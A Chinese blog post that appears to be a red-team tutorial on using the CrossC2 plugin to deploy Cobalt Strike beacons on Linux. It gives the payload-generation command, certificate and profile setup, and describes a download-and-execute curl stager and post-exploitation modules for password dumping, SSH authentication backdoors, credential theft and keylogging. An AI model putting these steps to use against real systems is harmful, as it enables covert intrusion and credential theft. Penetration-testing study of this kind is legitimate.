前言
拿cobaltstrike 4.1 版本上线linux还是很早的想法了,多次实验无奈都失败了。又没有毅力继续坚持解决掉这个问题。这不,最近又想折腾一下了,翻看各种大佬的博客资料,实验各个版本的差异,他终于可以了。在此,做个记录。
CrossC2 项目
CrossC2 项目是为了支持cobaltstrike 对其他平台的渗透测试而开发的插件。目前github上支持cobaltstrike 4.1、4.0、3.14 版本。
image.png由于之前在本地MAC上做了多次实验,导致环境比较乱,这里我就记录做成的这次的实验。
上线linux主机
环境:cobaltstrike 4.1 版本、cobaltstrike客户端MacOS环境、cobaltstrike服务端linux环境、CrossC2 2.2 版本
下载CrossC2 2.2 版本 https://github.com/gloxec/CrossC2/releases/tag/v2.2(测试2.2.4版本未上线)
这里下载这三个文件。因为我本地Cobalt Strike 4.1 运行在MacOS操作系统上,对应也应该下载genCrossC2.MacOS
CrossC2.cna 加载该插件的cna
genCrossC2.MacOS 生成payload的程序
CrossC2Kit.zip 后渗透linux的插件
将三个文件放在同一文件夹CrossC2下。
image.png- 修改cna 脚本
- 修改
$CC2_PATH
为真实路径,对应本地存放的CrossC2路径。注意最后的/。 - 修改
$CC2_BIN
为payload生成程序,这里用的MacOS系统,故不用修改。 - 赋予genCrossC2.MacOS 执行权限。
- 加载cna 脚本
cobaltstrike 加载CrossC2.cna 脚本,会多一个CrossC2 的菜单。
点击genCrossC2就可以生成payload。
image.png这里同样也需要注意一下。
-
.cobaltstrike.beacon_keys 文件
复制服务端上cobaltstrike目录下的 .cobaltstrike.beacon_keys到本地目录下。当然位置可以随意调,主要存在这个文件,且在生成payload的时候会寻找该文件。 -
System
这个就是你要生成的程序在哪个平台上运行了,目标是linux主机上线,故不更改。 -
Listener
选择监听器,默认reverse_https且只支持https,所以也要创建https的监听器。
配置完成后,选择build生成。
image.png创建了一条curl命令,用来下载执行payload。同时也可以在log里看到恶意程序生成的命令。
/Users/cseroad/secure/CrossC2/genCrossC2.MacOS cdn.csxxx.xx 9443 ./.cobaltstrike.beacon_keys null Linux x64 /tmp/CrossC2-test
本地的/tmp/目录也确实会生成 CrossC2-test程序。当然手动上传并执行CrossC2-test程序效果是一样的。
image.png看一下他curl的这个地址内容。
image.png很容易看出在/tmp/目录下创建文件夹,然后下载55413端口的qbxTbAHkIt
文件重命名并执行,而后删除。
大概过程就是这个样子,我们在kali上尝试执行build生成的命令。
- 上线kali
在kali上执行。
image.png当出现[conf]: alive 证明网络可达。同时kali上线。
image.png命令也可正常执行。
image.png扩展
以上的实验我都是用的最简单的IP上线的方式,cobaltstrike的证书也没有修改,profiles配置文件也没有使用。
尝试使用域名的方式上线。
在cloudfire上绑定域名,下载私钥、源证书,重新生成store证书。(PS:这部分就不过多阐述了)
openssl pkcs12 -export -in cseroadweb.pem -inkey cseroadweb.key -out cfcert.p12 -name cloudflare_cert -passout pass:ccc123456
sudo keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore cfcert.store -srckeystore cfcert.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias cloudflare_cert
而后在teamserver中替换cobaltstrike.store为cfcert.store。重新启动。
创建一个域名的监听器。
重复上面genCrossC2的操作。
这次选择自己的云服务器作为靶机。
同样可行。
image.png image.png可见linux上线和证书、域名没有关系。
如果使用了profile配置文件了呢?
CrossC2 提供了通信协议的API。
根据prifile文件,修改c2profile.c文件,包括请求url的信息。
而后gcc编译为so文件。
gcc c2profile.c -fPIC -shared -o lib_test.so
在CrossC2 项目里加载该lib文件,再build即可。
image.png也可正常上线、执行命令。
image.pngCrossC2Kit 扩展
在存在beacon后,就可以加载我们之前下载的CrossC2Kit文件里的CrossC2_loader.cna 脚本,来丰富我们的后渗透模块。
加载之前的功能,可以看到只有简单的模块。
加载之后的功能,就多了一些dumphash、横向、提权的模块。
image.pngcc2_mimipenguin 读取密码
cc2_auth, cc2_ssh sudo/su/passwd 等认证后门,ssh被连接及连接其他主机的凭证都将被记录
cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及保存的认证凭据都将被获取
cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理
cc2_keylogger 记录用户的键盘输入
以kali为例,就可以读取密码。
image.png总结
折腾了许久的问题终于解决了,多看github、多折腾、多实践,不断尝试。
参考资料
https://github.com/gloxec/CrossC2/
https://gitee.com/pyking/CrossC2#%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8-%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95--wiki
https://gloxec.github.io/CrossC2/zh_cn/protocol/
网友评论